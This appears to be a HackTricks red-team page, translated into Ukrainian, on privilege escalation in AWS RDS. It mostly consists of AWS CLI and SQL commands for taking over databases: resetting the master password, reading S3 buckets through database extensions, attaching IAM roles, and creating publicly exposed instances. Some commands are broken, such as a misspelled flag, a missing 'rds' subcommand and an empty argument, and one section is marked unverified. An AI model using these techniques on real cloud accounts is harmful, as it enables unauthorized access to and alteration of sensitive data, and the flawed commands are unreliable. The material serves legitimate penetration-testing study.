AWS - RDS Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

RDS - Служба реляційних баз даних

Для отримання додаткової інформації про RDS перегляньте:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

З цим дозволом атакувальник може змінювати пароль головного користувача та вхід в базу даних:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Вам потрібно мати можливість звертатися до бази даних (зазвичай вони доступні лише зсередини мережі).

Потенційний вплив: Знайти чутливу інформацію всередині баз даних.

rds-db:connect

Згідно з документацією користувач з цим дозволом може підключитися до екземпляру БД.

Зловживання дозволами IAM ролі RDS

Postgresql (Aurora)

Якщо під час виконання SELECT datname FROM pg_database; ви знаходите базу даних під назвою rdsadmin, ви знаєте, що ви знаходитесь всередині AWS бази даних postgresql.

Спочатку ви можете перевірити, чи ця база даних використовувалася для доступу до інших сервісів AWS. Ви можете перевірити це, подивившись на встановлені розширення:

SELECT * FROM pg_extension;

Якщо ви знаходите щось на кшталт aws_s3, ви можете припустити, що ця база даних має якийсь доступ до S3 (існують інші розширення, такі як aws_ml та aws_lambda).

Також, якщо у вас є дозвіл на виконання aws rds describe-db-clusters, ви можете побачити там, чи є кластер пов'язаний з якоюсь IAM-роллю у полі AssociatedRoles. Якщо так, ви можете припустити, що база даних була підготовлена для доступу до інших служб AWS. На основі назви ролі (або якщо ви можете отримати дозволи ролі), ви можете здогадатися, який додатковий доступ є у бази даних.

Тепер, щоб прочитати файл у відрах, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Якщо у вас є сирі дані AWS, ви також можете використовувати їх для доступу до даних S3 за допомогою:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql не потрібно змінювати жодну змінну групи параметрів, щоб мати доступ до S3.

Mysql (Aurora)

У mysql, якщо ви виконаєте запит SELECT User, Host FROM mysql.user; і існує користувач з ім'ям rdsadmin, ви можете припустити, що ви знаходитесь всередині AWS RDS mysql db.

У mysql виконайте show variables; і якщо змінні, такі як aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, мають значення, ви можете припустити, що база даних готова до доступу до даних S3.

Також, якщо у вас є дозвіл на виконання aws rds describe-db-clusters, ви можете перевірити, чи у кластері є будь-яка пов'язана роль, що зазвичай означає доступ до сервісів AWS).

Тепер, щоб прочитати файл всередині відра, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Хакер з дозволами rds:AddRoleToDBCluster та iam:PassRole може додати вказану роль до існуючого екземпляру RDS. Це може дозволити хакеру отримати доступ до чутливих даних або змінити дані в екземплярі.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Потенційний вплив: Доступ до конфіденційних даних або несанкціоновані зміни даних в екземплярі RDS. Зверніть увагу, що деякі бази даних вимагають додаткових конфігурацій, таких як Mysql, який потребує вказати роль ARN в групах параметрів також.

rds:CreateDBInstance

Лише з цим дозволом зловмисник може створити новий екземпляр всередині кластера, який вже існує та має прикріплену роль IAM. Він не зможе змінити пароль головного користувача, але може виявити новий екземпляр бази даних в Інтернеті:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Перевірити

Атакувальник з дозволами rds:CreateDBInstance та iam:PassRole може створити новий екземпляр RDS з прикріпленим вказаним роллю. Після цього атакувальник може отримати доступ до чутливих даних або змінити дані в екземплярі.

Деякі вимоги до ролі/профілю екземпляра для прикріплення (з тут):

  • Профіль повинен існувати в вашому обліковому записі.

  • У профілі повинна бути роль IAM, яку Amazon EC2 має дозвіл припускати.

  • Назва профілю екземпляра та пов'язана назва ролі IAM повинні починатися з префіксу AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Потенційний вплив: Доступ до чутливих даних або несанкціоновані зміни даних в екземплярі RDS.

rds:AddRoleToDBInstance, iam:PassRole

Зловмисник з дозволами rds:AddRoleToDBInstance та iam:PassRole може додати вказану роль до існуючого екземпляру RDS. Це може дозволити зловмиснику отримати доступ до чутливих даних або змінити дані в екземплярі.

Екземпляр бази даних повинен бути поза кластером для цього.

```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` **Потенційний вплив**: Доступ до чутливих даних або несанкціоновані модифікації даних в екземплярі RDS.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated